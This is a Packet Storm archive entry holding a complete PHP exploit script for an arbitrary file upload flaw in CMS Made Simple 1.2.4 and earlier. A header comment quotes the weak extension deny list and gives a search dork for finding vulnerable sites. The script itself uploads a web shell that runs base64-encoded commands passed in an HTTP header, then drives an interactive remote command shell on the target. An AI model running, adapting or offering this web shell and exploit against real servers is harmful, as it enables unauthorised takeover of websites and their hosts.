cmsmadesimple-upload.txt

2008-05-12T00:00:00
ID PACKETSTORM:66279
Type packetstorm
Reporter EgiX
Modified 2008-05-12T00:00:00

Description

                                        
                                            `<?php  
  
/*  
---------------------------------------------------------------------------  
CMS Made Simple <= 1.2.4 (FileManager module) Arbitrary File Upload Exploit  
---------------------------------------------------------------------------  
  
author...: EgiX  
mail.....: n0b0d13s[at]gmail[dot]com  
  
link.....: http://www.cmsmadesimple.org/  
dork.....: "This site is powered by CMS Made Simple"  
  
[-] vulnerable code in /modules/FileManager/postlet/javaUpload.php  
  
21. // Configuration ---------------------------------------------------------------  
22. // Change the below path to the folder where you would like files uploading.  
23. // e.g. "/home/yourname/myuploads/"  
24. // or "c:\php\uploads\"  
25. // Note, this MUST have the trailing slash.  
26. $uploaddir = '[PATH TO UPLOAD DIRECTORY]';  
27. // Whether or not to allow the upload of specific files  
28. $allow_or_deny = true;  
29. // If the above is true, then this states whether the array of files is a list of  
30. // extensions to ALLOW, or DENY  
31. $allow_or_deny_method = "deny"; // "allow" or "deny"  
32. $file_extension_list = array("php","asp","pl");  
33. // -----------------------------------------------------------------------------  
34. if ($allow_or_deny){  
35. if (($allow_or_deny_method == "allow" && !in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))  
36. || ($allow_or_deny_method == "deny" && in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))){   
37. // Atempt to upload a file with a specific extension when NOT allowed.  
38. // 403 error  
39. header("HTTP/1.1 403 Forbidden");  
40. echo "POSTLET REPLY\r\n";  
41. echo "POSTLET:NO\r\n";  
42. echo "POSTLET:FILE TYPE NOT ALLOWED\r\n";  
43. echo "POSTLET:ABORT THIS\r\n"; // Postlet should NOT send this file again.  
44. echo "END POSTLET REPLY\r\n";  
45. exit;  
46. }  
47. }  
48. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .$_FILES['userfile']['name']))  
49. {  
50. // All replies MUST start with "POSTLET REPLY", if they don't, then Postlet will  
51. // not read the reply and will assume the file uploaded successfully.  
52. echo "POSTLET REPLY\r\n";  
53. // "YES" tells Postlet that this file was successfully uploaded.  
54. echo "POSTLET:YES\r\n";  
55. // End the Postlet reply  
56. echo "END POSTLET REPLY\r\n";  
57. exit;  
  
with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious  
PHP code due to $file_extension_list array don't contains many dangerous extensions (.jsp, .php3, .cgi, .dhtml, etc...)  
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
  
function upload()  
{  
global $host, $path, $uploaddir, $file_ext;  
  
foreach ($file_ext as $ext)  
{  
print "\n[-] Trying to upload with .{$ext} extension...";  
  
$data = "--12345\r\n";  
$data .= "Content-Disposition: form-data; name=\"userfile\"; filename=\".php.{$ext}\"\r\n";  
$data .= "Content-Type: application/octet-stream\r\n\r\n";  
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";  
$data .= "--12345--\r\n";  
  
$packet = "POST {$path}modules/FileManager/postlet/javaUpload.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($data)."\r\n";  
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $data;  
$html = http_send($host, $packet);  
  
if (!eregi("POSTLET:YES", $html)) die("\n[-] Upload failed!\n");  
  
$packet = "GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$html = http_send($host, $packet);  
  
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;  
  
sleep(1);  
}  
  
return false;  
}  
  
print "\n+----------------------------------------------------------------+";  
print "\n| CMS Made Simple <= 1.2.4 Arbitrary File Upload Exploit by EgiX |";  
print "\n+----------------------------------------------------------------+\n";  
  
if ($argc < 2)  
{  
print "\nUsage......: php $argv[0] host path";  
print "\nExample....: php $argv[0] localhost /cms/\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$uploaddir = rawurlencode("[PATH TO UPLOAD DIRECTORY]");  
$file_ext = array("dhtml", "phtml", "php3", "php5", "jsp", "jar", "cgi");  
  
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");  
else print "\n[-] Shell uploaded...starting it!\n";  
  
define(STDIN, fopen("php://stdin", "r"));  
  
while(1)  
{  
print "\ncmsmadesimple-shell# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$packet = "GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$html = http_send($host, $packet);  
//echo $html;  
if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");  
$shell = explode("_code_", $html);  
print "\n{$shell[1]}";  
}  
else break;  
}  
  
?>  
  
  
`